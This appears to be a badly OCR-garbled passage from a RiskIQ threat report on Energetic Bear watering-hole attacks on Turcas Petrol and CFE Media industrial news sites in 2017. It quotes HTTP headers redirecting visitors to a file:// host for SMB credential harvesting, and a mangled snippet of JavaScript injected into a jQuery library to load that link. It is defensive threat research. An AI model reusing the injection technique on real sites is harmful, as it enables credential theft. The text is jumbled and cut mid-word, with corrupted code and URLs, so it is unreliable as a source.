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The image URL redirects to a link using the file:// scheme, which forces the connection through the

same campaign as this watering hole attack. It's interesting to note that the back-end server used in

file protocol, which then allows the group to harvest Microsoft SMB credentials. This behavior was

operators to contain a small addition in the form of an image inclusion

In May 2017, during one of our crawls of Turcas' website, RiskIQ encountered a watering hole setup in use by Energetic Bear. In the screenshot of the website above, you can see four top elements: 'Join the Turcas Energy Family,' 'Announcements,' 'Company News,' and 'Tv interviews.' These

separate elements are structured as iframes to other pages on the website as shown in the DOM

capture below:

Fig-3 Malicious image inclusion

also noted by Talos, which wrote a detailed analy

the attack seems to be written using the TornadoServer Python framework used for building we and networking applications:

Request Headers

Name

Value

User-Agent

Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727)

Accept-Language

en-us

Referer

http://www.turcas.com.tr/en/inc-duyurular.php?1922254752

Accept-Encoding gzip, deflate

Accept

Accept

Response Headers

Name

Value

Content-Length

0

Access-Control-Allow-Headers

Server

TornadoServer/4.4.2

Location

file://184.154.150.66/turcas_icon.png

Access-Control-Allow-Credentials true

Date

Access-Control-Allow-Credentials true

Date

Access-Control-Allow-Origin

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Access-Control-Allow-Origin

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Access-Control-Allow-Methods

POST, GET, OPTIONS, DELETE, PUT

Cites on Links

text/html; charset=UTF-8

Fig-4 Response headers showing the back-end server



included on the websites. Instead, the intermediary host at 103.41.177.58 is usually present on the web pages, which, in turn, redirect visitors—most likely with some filtering to avoid unwanted traffic—to the SMB harvesting host. Additionally, the URL format of the file requested, which in this case was turcas_icon.png. is not related to the referring website. Instead, Energetic Bear seems to use a

was turcas_icon,png, is not related to the referring website. Instead, Energetic Bear seems to use a form of tagging to correlate any possible victims and their source website. The format we observed is <tag>_icon,png and <tag>_png.

Strategical Compromise for Broad Targeting

RisklQ found that the SMB credential harvesting host at 184.154.150.66 is not always directly

The previous example of the Turcas Petrol website compromise showed specific targeting. While company-specific websites were compromised in this campaign, 'general purpose' websites were also amongst the victims. One such site is plantengineering.com which serves as an information and news hub for the critical infrastructure sector.

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Fig-6 Another compromised website linked to the attack

For a few months in early 2017, this website had one of its resources compromised, likely meaning that Energetic Bear operators had broad access to the server. On the main page of the website, a resource loads from //ypo3conf/ext/3s_jsildernews/res/js/jquery.easing.js as seen in our crawl:

Page http://www.plantengineering.com/

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Fig-7 Compromised resource

The compromised resource is a modified version of jOuery Easing JavaScript library. At the bottom of the script, we can find the SMB credential harvesting link, which is embedded as an image element in the main page's DOM:

Page http://www.plantengineering.com/typo3conf/ext/t3s_jslidern

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Response Body

Response Body

if (t < d/2) return jouery.easing.easeOutbounce (x, t+2, 0, c, d) * .5 + c+.5 + b)

return jouery.easing.easeOutbounce (x, t+2-d, 0, c, d) * .5 + c+.5 + b)

Var i = document.createllement(*isg*);
i.exc* *filer/files.151.80.64.6c.png*;

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All three URLs are the same, as is the injected content. All the affected websites are news and information websites for the industrial sector, which indicates a definite pattern. So, who owns these websites? Looking at the WHOIS information in PassiveTotal we find plantengineering.co
owned by CFE Media LLC:

RECORD FROM 2017-09-13
Checked by RiskiQ | Expires in 4 years | Created 20 years ago

Attribute Value

pattern in the URLs and websites. Here are three of our hits:

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Fig-10 Other affected sites
From our data, RisklQ found that contri

http://www.csemag.com/typo3conf/ext/t3s_jslidernews/res/js/jquery.easing.js http://www.controleng.com/typo3conf/ext/t3s_jslidernews/res/js/jquery.easing.

Organization

CFE Media LLC (registrant, admin, tech)

Street

1111 W 22ND 5T 5TE 250 (registrant, admin, tech)

City

OAK BROOK (registrant, admin, tech)

State

IL (registrant, admin, tech)

NETWORK SOLUTIONS, LLC.

srourke@cfemedia.com (registrant, admin, tech)

CFE Media LLC (registrant, admin, tech)

Country

UNITED STATES (registrant, admin, tech)

Phone

16302770265 (registrant, admin, tech)

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the critical infrastructure sector and thus prime targets for this watering hole attack, the odds are that CFE Media's other websites were affected. In fact, CFE Media has at least six confirmed brand that publish news and information:

Confirmed brand

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affected by the injection from Energetic Bear. Because they're geared toward engineers working in

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attacker's portfolio. JavaScript can be changed and compromised without the knowledge of the site owner, finding its way onto a site when public code was modified downstream. To prevent this, site owners must have an understanding of what belongs to their organization, how it's connected to the rest of their asset inventory, including inventorying all the third-party code running on their web assets so they can avoid being a pawn by operators like Energetic Bear.

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